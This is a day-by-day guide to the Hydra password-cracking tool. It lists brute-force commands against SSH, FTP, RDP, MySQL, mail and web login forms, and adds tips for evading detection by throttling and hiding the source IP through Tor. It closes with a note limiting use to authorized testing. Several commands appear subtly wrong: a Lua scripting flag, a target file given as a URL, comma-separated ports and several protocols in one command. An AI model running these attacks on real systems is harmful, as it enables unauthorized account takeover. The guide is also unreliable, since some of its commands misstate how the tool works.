Hydra Mastery Guide (Day 1-30)

This guide covers Hydra commands and techniques for authorized penetration testing, organized day-by-day.

Day 1: Install & Verify Hydra

- **Command:** `hydra -h`
- **Purpose:** Displays Hydra help and verifies installation.

Day 2: SSH Brute-force Basic

- **Command:** `hydra -l root -P passwords.txt ssh://192.168.1.100`
- **Purpose:** Attempts login with a single username and password list.

Day 3: FTP Brute-force Basic

- **Command:** `hydra -l admin -P passlist.txt ftp://192.168.1.100`
- **Purpose:** Brute-force login for FTP service.

Day 4: Telnet Brute-force

- **Command:** `hydra -L users.txt -P passwords.txt telnet://192.168.1.100`
- **Purpose:** Tries multiple usernames and passwords.

Day 5: SMTP Brute-force

- **Command:** `hydra -L users.txt -P passlist.txt smtp://192.168.1.100`
- **Purpose:** Brute-force SMTP logins.

Day 6: HTTP GET / Basic Auth

- **Command:** `hydra -L users.txt -P passwords.txt 192.168.1.100 http-get /protected`
- **Purpose:** Test HTTP basic authentication.

Day 7: HTTP POST Form

- **Command:** `hydra -L users.txt -P passwords.txt 192.168.1.100 http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"`
- **Purpose:** Brute-force web forms using POST.

Day 8: POP3 / IMAP Brute-force

- **Command:** `hydra -l user -P passlist.txt pop3://192.168.1.100`
- **Purpose:** Test POP3 login credentials.

Day 9: RDP Brute-force

- **Command:** `hydra -t 4 -V -l Administrator -P passlist.txt rdp://192.168.1.100`
- **Purpose:** Remote Desktop brute-force with threading and verbose.

Day 10: MySQL Brute-force

- **Command:** `hydra -L users.txt -P passwords.txt mysql://192.168.1.100`
- **Purpose:** Brute-force MySQL database login.

Day 11: Multiple Threads for Speed

- **Command:** `hydra -l root -P passlist.txt -t 16 ssh://192.168.1.100`
- **Purpose:** Increases speed using multiple threads.

Day 12: Verbose Output

- **Command:** `hydra -vV -l admin -P passwords.txt ftp://192.168.1.100`
- **Purpose:** Display detailed progress of attacks.

Day 13: Custom Port

- **Command:** `hydra -s 2222 -l root -P passwords.txt ssh://192.168.1.100`
- **Purpose:** Scan a non-standard SSH port.

Day 14: Using SSL / HTTPS

- **Command:** `hydra -L users.txt -P passlist.txt -s 443 https-get://192.168.1.100/protected`
- **Purpose:** Brute-force HTTPS protected pages.

Day 15: POST Requests with Parameters

- **Command:** `hydra -L users.txt -P passlist.txt 192.168.1.100 http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid"`
- **Purpose:** Brute-force web login POST requests.

Day 16: Multi-Target SSH

- **Command:** `hydra -L users.txt -P passwords.txt ssh://targets.txt`
- **Purpose:** Scan multiple hosts from a list.

Day 17: Multi-Protocol Scan

- **Command:** `hydra -L users.txt -P passwords.txt -s 22 ssh://192.168.1.100 ftp://192.168.1.100`
- **Purpose:** Combine multiple protocols in one command.

Day 18: Optimize Wordlists

- **Command:** `sort -u passwords.txt > passlist_unique.txt`
- **Purpose:** Remove duplicates for faster scans.

Day 19: Rate Limiting

- **Command:** `hydra -L users.txt -P passlist.txt -t 4 -W 5 ssh://192.168.1.100`
- **Purpose:** Avoid detection by slowing attacks.

Day 20: Use Proxychains / Tor

- **Command:** `proxychains hydra -l admin -P passwords.txt ssh://192.168.1.100`
- **Purpose:** Hide IP via Tor or proxy.

Day 21: Save Results

- **Command:** `hydra -L users.txt -P passlist.txt ssh://192.168.1.100 -o results.txt`
- **Purpose:** Save brute-force output for reporting.

Day 22: Combine Wordlists

- **Command:** `cat users.txt | sort -u > combined_users.txt`
- **Purpose:** Merge and clean wordlists.

Day 23: Scan Multiple Ports

- **Command:** `hydra -L users.txt -P passwords.txt -s 22,2222 ssh://192.168.1.100`
- **Purpose:** Brute-force multiple ports at once.

Day 24: Use Verbose & Debug

- **Command:** `hydra -vV -d -l root -P passlist.txt ssh://192.168.1.100`
- **Purpose:** Enable debugging for troubleshooting.

Day 25: Advanced POST Form Options

- **Command:** `hydra -L users.txt -P passwords.txt 192.168.1.100 http-post-form "/login:uname=^USER^&pwd=^PASS^:F=Failed"`

- **Purpose:** Customize form parameters and failure detection.

Day 26: Limit Number of Attempts

- **Command:** `hydra -L users.txt -P passwords.txt -t 4 -W 3 ssh://192.168.1.100`
- **Purpose:** Avoid account lockout or detection.

Day 27: Use Hydra Scripts

- **Command:** `hydra -S script.lua -L users.txt -P passwords.txt ssh://192.168.1.100`
- **Purpose:** Automate attacks via Lua scripting.

Day 28: Combine Protocols with Logging

- **Command:** `hydra -L users.txt -P passwords.txt -o output.txt ftp://192.168.1.100 ssh://192.168.1.100`
- **Purpose:** Scan multiple protocols and save logs.

Day 29: Stealth Scanning Techniques

- **Command:** `hydra -L users.txt -P passwords.txt -s 22 -t 2 ssh://192.168.1.100`
- **Purpose:** Reduce speed and threading for stealth.

Day 30: Automated Reporting & Workflow

- **Command:** `hydra -L users.txt -P passwords.txt -o report.txt ssh://192.168.1.100 && cat report.txt`
- **Purpose:** Generate report automatically for penetration tests.

Note: Use Hydra only on systems you are authorized to test. Unauthorized brute-forcing is illegal.